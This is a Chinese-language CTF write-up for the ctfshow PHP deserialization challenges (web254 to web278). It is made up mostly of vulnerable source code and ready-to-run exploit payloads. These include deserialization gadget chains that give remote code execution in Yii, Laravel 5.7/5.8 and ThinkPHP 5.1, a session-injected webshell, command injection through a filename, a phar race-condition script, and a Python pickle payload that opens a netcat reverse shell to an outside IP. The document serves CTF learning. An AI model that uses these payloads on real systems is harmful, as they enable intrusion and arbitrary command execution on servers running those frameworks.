web254
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
这道题更类似于代码审计而不是反序列化 简单代码审计 GET:?username=xxxxxx&password=xxxxxx
web255(Cookie+GET反序列化)
error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
我们可以看到在这254上,增加了 user 参数在Cookie中通过反序列化写入 ctfShowUser的实例化对象 对于此对象 isVip 的值要为 true 因此 序列化payload为 <?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=true; } echo urlencode(serialize(new ctfShowUser())); bp抓包写入Cookie参数user中 这里反序列化的结果需要来一波url编码
web256(同上)
error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
与255类似,但是要求username和password输入的值不同
web257(魔术方法destruct销毁执行)
error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
反序列化对类并不敏感 利用2个魔术方法 __construct() - 在每次创建新对象时先调用此方法 __destruct() - 对象的所有引用都被删除或者当对象被显式销毁时执行 当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()魔术方法。 在 construct方法中初始化backDoor类,反序列化结束之后我们会执行destruct方法,这时候$this->code中就是我们可以执行的命令。 <?php class ctfShowUser{ private $username = 'xxxxxx'; private $password = 'xxxxxx'; private $isVip = false; private $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ private $code = "system('cat flag.php');"; public function getInfo(){ eval($this->code); } } echo urlencode(serialize(new ctfShowUser())); ?>
web258(/[oc]:\d+:/i 正则绕过)
error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }
在上面基础上绕过正则 <?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=true; public $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code="system('cat flag.php');"; public function getInfo(){ eval($this->code); } } $a = new ctfShowUser(); $a = serialize($a); $a= str_replace('O:', 'O:+',$a);//绕过preg_match echo urlencode($a);
web259(SOAP-CRLF攻击)
<?php highlight_file(__FILE__); $vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag(); flag.php <? $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
web260
(感觉题目放这里是不是放错了)
?ctfshow=ctfshow_i_love_36D
web261(暂时不会)
<?php highlight_file(__FILE__); $vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag();
web262(反序列化字符逃逸)
error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; } highlight_file(__FILE__);
highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }
payload
<?php class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = 1; $m = 1; $t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}'; $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); echo $umsg ; echo "\n"; echo base64_encode($umsg);
web263(session反序列化漏洞)
文件泄露www.zip
exp:
<?php class User{ public $username="admin/../../../../../../../../../../var/www/html/1.php"; public $password="<?php system('cat flag.php');?>"; public $status; } $a = new User(); $c = "|".serialize($a); echo urlencode(base64_encode($c));
web264(反序列化字符逃逸)
error_reporting(0); session_start(); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $_SESSION['msg']=base64_encode($umsg); echo 'Your message has been sent'; } highlight_file(__FILE__);
message.php
session_start(); highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_SESSION['msg'])); if($msg->token=='admin'){ echo $flag; } }
类似同262 在 Cookie 中传入一个参数 msg=1 访问 message.php 即可
web265(地址传输如果恒等)
error_reporting(0); include('flag.php'); highlight_file(__FILE__); class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } } $ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand()); if($ctfshow->login()){ echo $flag; }
先看一下这样子的输出结果
<?php $a = '123'; $b = &$a; $b = '1'; echo $a; //输出结果 1
payload
<?php class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token='a'; $this->password = &$this->token; } } $a = new ctfshowAdmin(); echo serialize($a);
web266(php对类的命名大小写不敏感)
highlight_file(__FILE__); include('flag.php'); $cs = file_get_contents('php://input'); class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); } //如果有字符串里面有ctfshow则会抛出异常,不能执行__destruct()方法
<?php class ctfshow{ public $username='ctfshow'; public $password='ctfshow'; public function __construct($u,$p){ $this->username=$u; $this->password=$u; } } $a = new ctfshow(); echo serialize($a); //序列化结果中的ctfshow要改为大写
web267(yii反序列化漏洞)
可以直接套poc
?r=backdoor/shell&code=poc poc <?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'exec'; $this->id = 'cp /flag /var/www/html/basic/web/1.txt'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction, 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); 最后访问1.txt
web268(yii反序列化漏洞-改)
poc
<?php namespace yii\rest { class Action { public $checkAccess; } class IndexAction { public function __construct($func, $param) { $this->checkAccess = $func; $this->id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } } } namespace yii\db { use yii\base\BaseObject; class BatchQueryResult { private $_dataReader; public function __construct($func, $param) { $this->_dataReader = new \yii\web\DbSession($func, $param); } } } namespace { $exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); echo(base64_encode(serialize($exp))); }
web269(yii反序列化漏洞-改改)
同268
web270(yii反序列化漏洞-改改改)
同上
web271(laravelv5.7反序列化漏洞)
https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
<?php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app) { $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } } namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } } } namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this->bindings=$bind; } } } namespace{ echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('cat /flag'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")))))); } ?>
web272(laravelv5.8反序列化漏洞)
https://xz.aliyun.com/t/5911
<?php namespace PhpParser\Node\Scalar\MagicConst{ class Line {} } namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code; public function __construct($config, $code) { $this->config = $config; $this->code = $code; } } } namespace Mockery\Loader{ class EvalLoader{} } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver) { $this->queueResolver = $queueResolver; } } } namespace Illuminate\Foundation\Console{ class QueuedCommand { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace{ $line = new PhpParser\Node\Scalar\MagicConst\Line(); $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>"); $evalloader = new Mockery\Loader\EvalLoader(); $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load')); $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand); echo urlencode(serialize($pendingbroadcast)); } ?>
web273(laravelv5.8反序列化漏洞-改)
同272
web274(ThinkPHP V5.1反序列化漏洞)
?lin=cat /f*&data=POC POC <?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["lin"=>["calc.exe","calc"]]; $this->data = ["lin"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [ // 表单ajax伪装变量 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'lin']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
web275(rm危险函数)
<?php highlight_file(__FILE__); class filter{ public $filename; public $filecontent; public $evilfile=false; public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile){ system('rm '.$this->filename); } } } if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; }
危险
if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt');
payload
GET:?fn=;cat f* POST:zz=flag/php
web277(phar条件竞争)
通过file_put_contents写phar文件,然后再通过file_put_contents触发phar反序列化。当然我们得在删除文件前执行完这两个操作,所以需要用到条件竞争
<?php class filter{ public $filename = "1|cat f*"; public $filecontent; public $evilfile = true; public $admin = true; } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new filter(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
条件竞争
import requests import threading import base64 url = '' f = open('./phar.phar', 'rb') data = f.read() flag = False def work1(): requests.post(url+"?fn=a", data=data) def work2(): global flag r = requests.post(url+"?fn=phar://phar.phar/", data="") if "flag{" in r.text and flag is False: print(base64.b64encode(r.text.encode())) flag = True while flag is False: a = threading.Thread(target=work1) b = threading.Thread(target=work2) a.start() b.start() 1
web276|278(Python反序列化反弹shell)
import pickle import base64 class A(object): def __reduce__(self): return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4567 -e /bin/sh").read()',)) a=A() test=pickle.dumps(a) print(base64.b64encode(test))
开启端口 nc -lvv 4567